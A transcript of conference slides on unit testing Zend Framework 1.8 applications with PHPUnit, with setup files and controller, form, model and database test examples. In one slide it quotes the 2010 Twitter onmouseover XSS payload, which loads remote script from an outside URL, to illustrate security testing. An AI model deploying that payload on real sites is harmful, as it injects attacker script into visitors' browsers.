unit testing after zend framework 1.8
DESCRIPTION
Zend Framework 1.8 changed internally, making it easier to fully test your controllers, forms, models and datatabase integration with PHPUnit.TRANSCRIPT
Unit Testing after ZF 1.8Michelangelo van Dam
ZendCon 2010, Santa Clara, CA (USA)
Michelangelo van Dam• Independent Consultant
• Zend Certified Engineer (ZCE)
• President of PHPBenelux
This session
What has changed with ZF 1.8 ?How do we set up our environment ?
How are we testing controllers ?How are we testing forms ?
How are we testing models ?
New to unit testing ?
Matthew Weier O’Phinney
http://www.slideshare.net/weierophinney/testing-zend-framework-applications
Giorgio Sironi
http://giorgiosironi.blogspot.com/2009/12/practical-php-testing-is-here.html
Zend Framework 1.8
Birth of Zend_Application
• bootstrapping an “app”• works the same for any environment• resources through methods (no registry)• clean separation of tests- unit tests- controller tests- integration tests (db, web services, …)
Types of tests
Unit Testing
• smallest functional code snippet (unit)- function or class method• aims to challenge logic- proving A + B gives C (and not D)• helpful for refactoring• essential for bug fixing (is it really a bug ?)• TDD results in better code• higher confidence for developers -> managers
Controller Testing
• tests your (ZF) app- is this url linked to this controller ?• detects early errors- on front-end (route/page not found)- on back-end (database changed, service down, …)• tests passing back and forth of params• form validation and filtering• security testing (XSS, SQL injection, …)
Database Testing
• tests the functionality of your database- referred to as “integration testing”• checks functionality- CRUD- stored procedures- triggers and constraints• verifies no mystery data changes happen- UTF-8 in = UTF-8 out
Application Testing
Setting things up
phpunit.xml<phpunit bootstrap="./TestHelper.php" colors="true"> <testsuite name="Zend Framework Unit Test Demo"> <directory>./</directory> </testsuite>
<!-- Optional settings for filtering and logging --> <filter> <whitelist> <directory suffix=".php">../library/</directory> <directory suffix=".php">../application/</directory> <exclude> <directory suffix=".phtml">../application/</directory> </exclude> </whitelist> </filter>
<logging> <log type="coverage-html" target="./log/report" charset="UTF-8" yui="true" highlight="true" lowUpperBound="50" highLowerBound="80"/> <log type="testdox-html" target="./log/testdox.html" /> </logging></phpunit>
TestHelper.php<?php// set our app paths and environmentsdefine('BASE_PATH', realpath(dirname(__FILE__) . '/../'));define('APPLICATION_PATH', BASE_PATH . '/application');define('TEST_PATH', BASE_PATH . '/tests');define('APPLICATION_ENV', 'testing');
// Include pathset_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path());
// Set the default timezone !!!date_default_timezone_set('Europe/Brussels');
require_once 'Zend/Application.php';$application = new Zend_Application(APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');$application->bootstrap();
TestHelper.php<?php// set our app paths and environmentsdefine('BASE_PATH', realpath(dirname(__FILE__) . '/../'));define('APPLICATION_PATH', BASE_PATH . '/application');define('TEST_PATH', BASE_PATH . '/tests');define('APPLICATION_ENV', 'testing');
// Include pathset_include_path('.' . PATH_SEPARATOR . BASE_PATH . '/library' . PATH_SEPARATOR . get_include_path());
// Set the default timezone !!!date_default_timezone_set('Europe/Brussels');
require_once 'Zend/Application.php';$application = new Zend_Application(APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');$application->bootstrap();
ControllerTestCase.php<?phprequire_once 'Zend/Application.php';require_once 'Zend/Test/PHPUnit/ControllerTestCase.php';
abstract class ControllerTestCase extends Zend_Test_PHPUnit_ControllerTestCase{ protected function setUp() { // we override the parent::setUp() to solve an issue regarding not // finding a default module }}
Directory Strategy/application /configs /controllers /forms /models /modules /guestbook /apis /controllers /forms /models /views /helpers /filters /scripts /views /helpers /filters /scripts/library/public/tests
/tests /application /controllers /forms /models /modules /guestbook /apis /controllers /forms /models
Testing Controllers
Homepage testing<?php// file: tests/application/controllers/IndexControllerTest.phprequire_once TEST_PATH . '/ControllerTestCase.php';
class IndexControllerTest extends ControllerTestCase{ public function testCanWeDisplayOurHomepage() { // go to the main page of the web application $this->dispatch('/'); // check if we don't end up on an error page $this->assertNotController('error'); $this->assertNotAction('error'); // ok, no error so let's see if we're at our homepage $this->assertModule('default'); $this->assertController('index'); $this->assertAction('index'); $this->assertResponseCode(200); }}
Running the tests
testdox.html
Code coverage
Testing Forms
Guestbook form
fullName
emailAddress
website
comment
submit
Simple comment form<?phpclass Application_Form_Comment extends Zend_Form{ public function init() { $this->addElement('text', 'fullName', array ( 'label' => 'Full name', 'required' => true)); $this->addElement('text', 'emailAddress', array ( 'label' => 'E-mail address', 'required' => true)); $this->addElement('text', 'website', array ( 'label' => 'Website URL', 'required' => false)); $this->addElement('textarea', 'comment', array ( 'label' => 'Your comment', 'required' => false)); $this->addElement('submit', 'send', array ( 'Label' => 'Send', 'ignore' => true)); }}
CommentController<?php
class CommentController extends Zend_Controller_Action{ protected $_session; public function init() { $this->_session = new Zend_Session_Namespace('comment'); }
public function indexAction() { $form = new Application_Form_Comment(array ( 'action' => $this->_helper->url('send-comment'), 'method' => 'POST', )); if (isset ($this->_session->commentForm)) { $form = unserialize($this->_session->commentForm); unset ($this->_session->commentForm); } $this->view->form = $form; }}
Comment processing<?php
class CommentController extends Zend_Controller_Action{ …
public function sendCommentAction() { $request = $this->getRequest(); if (!$request->isPost()) { return $this->_helper->redirector('index'); } $form = new Application_Form_Comment(); if (!$form->isValid($request->getPost())) { $this->_session->commentForm = serialize($form); return $this->_helper->redirector('index'); } $values = $form->getValues(); $this->view->values = $values; }}
Views<!-- file: application/views/scripts/comment/index.phtml -->
<?php echo $this->form ?>
<!-- file: application/views/scripts/comment/send-comment.phtml --><dl><?php if (isset ($this->values['website'])): ?><dt id="fullName"><a href="<?php echo $this->escape($this->values['website']) ?>"><?php echo $this->escape($this->values['fullName']) ?></a></dt><?php else: ?><dt id="fullName"><?php echo $this->escape($this->values['fullName']) ?></dt><?php endif; ?><dd id="comment"><?php echo $this->escape($this->values['comment']) ?></dd></dl>
The Form
Comment processed
And now… testing
Starting simple<?php
// file: tests/application/controllers/IndexControllerTest.phprequire_once TEST_PATH . '/ControllerTestCase.php';
class CommentControllerTest extends ControllerTestCase{ public function testCanWeDisplayOurForm() { // go to the main comment page of the web application $this->dispatch('/comment'); // check if we don't end up on an error page $this->assertNotController('error'); $this->assertNotAction('error'); $this->assertModule('default'); $this->assertController('comment'); $this->assertAction('index'); $this->assertResponseCode(200); $this->assertQueryCount('form', 1); $this->assertQueryCount('input[type="text"]', 2); $this->assertQueryCount('textarea', 1); }}
$this->assertQueryCount('form', 1);$this->assertQueryCount('input[type="text"]', 3);$this->assertQueryCount('textarea', 1);
GET request = index ?public function testSubmitFailsWhenNotPost()
{ $this->request->setMethod('get'); $this->dispatch('/comment/send-comment'); $this->assertResponseCode(302); $this->assertRedirectTo('/comment');}
Can we submit our form ?public function testCanWeSubmitOurForm(){ $this->request->setMethod('post') ->setPost(array ( 'fullName' => 'Unit Tester', 'emailAddress' => '[email protected]', 'website' => 'http://www.example.com', 'comment' => 'This is a simple test', )); $this->dispatch('/comment/send-comment');
$this->assertQueryCount('dt', 1); $this->assertQueryCount('dd', 1); $this->assertQueryContentContains('dt#fullName', '<a href="http://www.example.com">Unit Tester</a>'); $this->assertQueryContentContains('dd#comment', 'This is a simple test');}
All other cases ?/** * @dataProvider wrongDataProvider */public function testSubmitFailsWithWrongData($fullName, $emailAddress, $comment){ $this->request->setMethod('post') ->setPost(array ( 'fullName' => $fullName, 'emailAddress' => $emailAddress, 'comment' => $comment, )); $this->dispatch('/comment/send-comment'); $this->assertResponseCode(302); $this->assertRedirectTo('/comment');}
wrongDataProviderpublic function wrongDataProvider()
{ return array ( array ('', '', ''), array ('~', 'bogus', ''), array ('', '[email protected]', 'This is correct text'), array ('Test User', '', 'This is correct text'), array ('Test User', '[email protected]', str_repeat('a', 50001)), );}
Running the tests
Our testdox.html
Code Coverage
Practical use
September 21, 2010
CNN reports
http://www.cnn.com/2010/TECH/social.media/09/21/twitter.security.flaw/index.html
The exploit
http://t.co/@”style=”font-size:999999999999px; ”onmouseover=”$.getScript(‘http:\u002f\u002fis.gd\u002ffl9A7′)”/
http://www.developerzen.com/2010/09/21/write-your-own-twitter-com-xss-exploit/
Unit Testing (models)
Guestbook Models
Testing models
• uses core PHPUnit_Framework_TestCase class• tests your business logic !• can run independent from other tests• model testing !== database testing- model testing tests the logic in your objects- database testing tests the data storage
Model setUp/tearDown<?phprequire_once 'PHPUnit/Framework/TestCase.php';class Application_Model_GuestbookTest extends PHPUnit_Framework_TestCase{ protected $_gb; protected function setUp() { parent::setUp(); $this->_gb = new Application_Model_Guestbook(); } protected function tearDown() { $this->_gb = null; parent::tearDown(); } …}
Simple testspublic function testGuestBookIsEmptyAtConstruct(){ $this->assertType('Application_Model_GuestBook', $this->_gb); $this->assertFalse($this->_gb->hasEntries()); $this->assertSame(0, count($this->_gb->getEntries())); $this->assertSame(0, count($this->_gb));}public function testGuestbookAddsEntry(){ $entry = new Application_Model_GuestbookEntry(); $entry->setFullName('Test user') ->setEmailAddress('[email protected]') ->setComment('This is a test'); $this->_gb->addEntry($entry); $this->assertTrue($this->_gb->hasEntries()); $this->assertSame(1, count($this->_gb));}
GuestbookEntry tests…public function gbEntryProvider(){ return array ( array (array ( 'fullName' => 'Test User', 'emailAddress' => '[email protected]', 'website' => 'http://www.example.com', 'comment' => 'This is a test', 'timestamp' => '2010-01-01 00:00:00', )), array (array ( 'fullName' => 'Test Manager', 'emailAddress' => '[email protected]', 'website' => 'http://tests.example.com', 'comment' => 'This is another test', 'timestamp' => '2010-01-01 01:00:00', )), );}
/** * @dataProvider gbEntryProvider * @param $data */public function testEntryCanBePopulatedAtConstruct($data){ $entry = new Application_Model_GuestbookEntry($data); $this->assertSame($data, $entry->__toArray());}…
Running the tests
Our textdox.html
Code Coverage
Database Testing
Database Testing
• integration testing- seeing records are getting updated- data models behave as expected- data doesn't change encoding (UTF-8 to Latin1)• database behaviour testing- CRUD- stored procedures- triggers- master/slave - cluster- sharding
Caveats
• database should be reset in a “known state”- no influence from other tests• system failures cause the test to fail- connection problems• unpredictable data fields or types- auto increment fields- date fields w/ CURRENT_TIMESTAMP
Converting modelTest
Model => database<?php
require_once 'PHPUnit/Framework/TestCase.php';class Application_Model_GuestbookEntryTest extends PHPUnit_Framework_TestCase{…}
Becomes
<?phprequire_once TEST_PATH . '/DatabaseTestCase.php';class Application_Model_GuestbookEntryTest extends DatabaseTestCase{…}
DatabaseTestCase.php<?php
require_once 'Zend/Application.php';require_once 'Zend/Test/PHPUnit/DatabaseTestCase.php';require_once 'PHPUnit/Extensions/Database/DataSet/FlatXmlDataSet.php';
abstract class DatabaseTestCase extends Zend_Test_PHPUnit_DatabaseTestCase{ private $_dbMock; private $_application; protected function setUp() { $this->_application = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini'); $this->bootstrap = array($this, 'appBootstrap'); parent::setUp(); } …
DatabaseTestCase.php (2) …
public function appBootstrap() { $this->application->bootstrap(); } protected function getConnection() { if (null === $this->_dbMock) { $bootstrap = $this->application->getBootstrap(); $bootstrap->bootstrap('db'); $connection = $bootstrap->getResource('db'); $this->_dbMock = $this->createZendDbConnection($connection,'in2it'); Zend_Db_Table_Abstract::setDefaultAdapter($connection); } return $this->_dbMock; } protected function getDataSet() { return $this->createFlatXMLDataSet( dirname(__FILE__) . '/_files/initialDataSet.xml'); }}
_files/initialDataSet.xml<?xml version="1.0" encoding="UTF-8"?>
<dataset> <gbentry id="1" fullName="Test User" emailAddress="[email protected]" website="http://www.example.com" comment="This is a first test" timestamp="2010-01-01 00:00:00"/> <gbentry id="2" fullName="Obi Wan Kenobi" emailAddress="[email protected]" website="http://www.jedi-council.com" comment="May the phporce be with you" timestamp="2010-01-01 01:00:00"/> <comment id="1" comment= "Good article, thanks"/> <comment id="2" comment= "Haha, Obi Wan… liking this very much"/> …</dataset>
A simple DB testpublic function testNewEntryPopulatesDatabase()
{ $data = $this->gbEntryProvider(); foreach ($data as $row) { $entry = new Application_Model_GuestbookEntry($row[0]); $entry->save(); unset ($entry); } $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection() ); $ds->addTable('gbentry', 'SELECT * FROM gbentry'); $dataSet = $this->createFlatXmlDataSet( TEST_PATH . "/_files/addedTwoEntries.xml"); $filteredDataSet = new PHPUnit_Extensions_Database_DataSet_DataSetFilter( $dataSet, array('gbentry' => array('id'))); $this->assertDataSetsEqual($filteredDataSet, $ds);}
location of datasets<approot>/application /public /tests /_files initialDataSet.xml readingDataFromSource.xml
Running the tests
Our textdox.html
CodeCoverage
Changing recordspublic function testNewEntryPopulatesDatabase(){ $data = $this->gbEntryProvider(); foreach ($data as $row) { $entry = new Application_Model_GuestbookEntry($row[0]); $entry->save(); unset ($entry); } $ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet( $this->getConnection() ); $ds->addTable('gbentry', 'SELECT fullName, emailAddress, website, comment, timestamp FROM gbentry'); $this->assertDataSetsEqual( $this->createFlatXmlDataSet( TEST_PATH . "/_files/addedTwoEntries.xml"), $ds );}
Expected resultset<?xml version="1.0" encoding="UTF-8"?><dataset> <gbentry fullName="Test User" emailAddress="[email protected]" website="http://www.example.com" comment="This is a first test" timestamp="2010-01-01 00:00:00"/> <gbentry fullName="Obi Wan Kenobi" emailAddress="[email protected]" website="http://www.jedi-council.com" comment="May the phporce be with you" timestamp="2010-01-01 01:00:00"/> <gbentry fullName="Test User" emailAddress="[email protected]" website="http://www.example.com" comment="This is a test" timestamp="2010-01-01 00:00:00"/> <gbentry fullName="Test Manager" emailAddress="[email protected]" website="http://tests.example.com" comment="This is another test" timestamp="2010-01-01 01:00:00"/></dataset>
location of datasets<approot>/application /public /tests /_files initialDataSet.xml readingDataFromSource.xml addedTwoEntries.xml
Running the tests
The testdox.html
CodeCoverage
Testing strategies
Desire vs Reality
• desire- +70% code coverage- test driven development- clean separation of tests
• reality- test what counts first (business logic)- discover the “unknowns” and test them- combine unit tests with integration tests
Automation
• using a CI system- continuous running your tests- reports immediately when failure- provides extra information‣ copy/paste detection‣ mess detection &dependency calculations‣ lines of code‣ code coverage‣ story board and test documentation‣ …
• http://slideshare.net/DragonBe/unit-testing-after-zf-18• http://github.com/DragonBe/zfunittest
• http://twitter.com/DragonBe• http://facebook.com/DragonBe
• http://joind.in/2243
Questions